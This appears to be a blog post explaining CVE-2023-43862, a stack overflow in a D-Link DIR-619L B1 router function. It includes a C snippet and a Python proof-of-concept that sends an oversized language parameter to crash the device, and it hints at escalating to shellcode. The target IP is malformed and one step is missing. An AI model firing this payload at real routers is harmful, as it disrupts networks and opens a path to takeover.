In September 2023, a high-severity security vulnerability, tracked as CVE-2023-43862, was disclosed in the D-Link DIR-619L B1 router, firmware version 2.02. Specifically, the vulnerability resides in the formLanguageChange function and allows an attacker to execute a buffer overflow, which can potentially be exploited for remote code execution or causing device denial of service.

If you use or manage a D-Link DIR-619L B1 router, understanding this vulnerability and how it can be exploited is crucial. In this post, we break down the CVE, explain the exploitation method, and give you code examples that clarify the risk.

Attack Vector: Unauthenticated remote HTTP request

The susceptible function, formLanguageChange, is responsible for changing the router's administration panel language. However, insufficient validation of user-supplied input allows maliciously crafted request data to overflow the stack buffer.

Here's a simplified representation of the vulnerable routine

void formLanguageChange(char *input) {
    char buffer[64];
    // BAD: No check on input length
    strcpy(buffer, input);
    // ... rest of the function ...
}

The issue: The function uses strcpy() with direct user-input, not checking if the input fits into the fixed-length buffer. If an attacker sends more than 64 bytes, they overwrite adjacent memory regions, possibly corrupting function pointers or return addresses.

Original Disclosure

- NVD Reference: NVD - CVE-2023-43862
- Exploit details (packetstorm): Packet Storm: D-Link DIR-619L B1 Stack Buffer Overflow

The vulnerable function is mapped behind a web interface endpoint, typically something like

POST /formLanguageChange

Step 2: Craft the Overflow Payload

You can use Python to craft a POST request where the language parameter contains an overly long string. Here's a proof-of-concept payload that overwrites the buffer:

import requests

target = "http://192.168..1";
url = f"{target}/formLanguageChange"

# 80 bytes payload, 16 bytes over the buffer size
payload = "A" * 80

data = {
    "language": payload
}

r = requests.post(url, data=data)
print(f"Status: {r.status_code} | Length: {len(r.content)}")

NOTE: By varying the payload, skilled attackers can try to overwrite saved return addresses or craft shellcode for remote code execution.

Outcome

If the device is vulnerable, it may crash and reboot upon receiving the request, or, in a more tailored attack, begin executing injected code — especially if the attacker knows the stack layout and architecture to deliver usable shellcode.

Real-World Impact

- Remote DoS: Router reboot/disruption by anyone on the network.
- Potential RCE: Skilled hackers may gain control over the router, steal credentials, or pivot to other devices on your LAN.

Additional References

- Exploit-DB Entry
- Full Exploit Example - PacketStorm

Conclusion

CVE-2023-43862 highlights the persistent risks in consumer router security, especially with legacy devices. If you manage or own a D-Link DIR-619L B1, your best defense is to upgrade hardware. For enthusiasts and researchers, this is a textbook example of why input validation and buffer boundaries matter so much in C code.

Timeline

Published on: 09/28/2023 14:15:22 UTC
Last modified on: 09/29/2023 04:32:29 UTC